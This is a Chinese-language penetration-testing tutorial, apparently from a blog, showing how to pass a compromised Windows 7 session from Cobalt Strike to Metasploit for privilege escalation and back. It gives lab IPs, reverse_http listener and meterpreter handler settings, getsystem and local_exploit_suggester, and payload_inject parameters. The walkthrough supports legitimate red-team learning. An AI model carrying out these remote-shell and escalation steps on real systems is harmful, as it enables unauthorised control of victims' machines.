metasploit,全称The Metasploit Framework,又称为MSF,因为它功能强大,是最欢迎的渗透测试工具之一。
CobaltStrike(简称CS),早期的CS依赖MetasploitFramework框架,而现在CobaltStrike是一个单独的平台,分为服务端和客户端,客户端可以有多个,团队可以进行分布式合作操作。
CS和MSF都是渗透测试的利器,前者更适合持久性的控制,而且提供了更友好的图像化界面,方便用户操作和管理。后者具有强大漏洞利用和内网探测模块。各有所长,所以在某些情况下就要取长补短,从而提升渗透效率。
CS服务端 192.168.161.154
CS客户端 WIN10 192.168.161.158
靶机 WIN7 192.168.161.146
MSF kali 192.168.161.148
假设现在我们在CS上已经拿到了靶机WIN7的会话,但是权限太低,需要权限提升,这是就需要将会话传给MSF,因为它的提权模块很多,有更多的机会获得更高权限。
1,现在CS客户端设置一个监听器,名字叫cs to msf,选择windows/foreign/reverse_http模块,host填写为MSF的地址,也就是192.168.161.148,端口号随便设置一个,我就设置成6666。
上图这里一共有两个监听器,第一个监听器是我用来上线WIN7的监听器,下面这个用来传会话的监听器。
2,CS设置完毕 ,接下来打开MSF,搜索multi/handler,使用这个模块,设置参数。注意这里的payload要设置称http,不要tcp。
直接 set payload windows/meterpreter/reverse_http
之后设置lhost为MSF地址,端口和CS监听器对应6666。
设置完毕后输入run,进行监听。
3,回到CS中,鼠标右击会话WIN7,选择ACCESS->spawn
选择cs to msf监听器
4,MSF收到会话
在MSF拿到该会话时,发现只是个普通用户权限,我们尝试提权,提权有很多方式,你可以直接进入meterpreter会话中getsystem,如果不成功还可以尝试search multi/recon/local_exploit_suggester这是一个漏洞对比模块,MSF会自动为你匹配最适合的攻击漏洞。
假如现在我们已经拿到了系统最高权限,要把会话传给CS,那要如何去做?
1,先在CS客户端建立一个名为msf to cs的监听器,payload设置为windows/beacon_http/reverse_http,host为CS服务器的地址,端口设置为9999
2,在MSF上,我们使用windows/local/payload_inject模块,设置相关参数,这里的lhost和lport要和CS监听器上的一致,除了这些参数,还有一些隐藏参数需要设置。
第一个set disablepayloadhandler true
第二个set prependmigrate true
如果不设置这两个参数可能不会成功。
这些参数设置完成后直接run
3,回到CS,发现主机上线,而且是SYSTEM权限。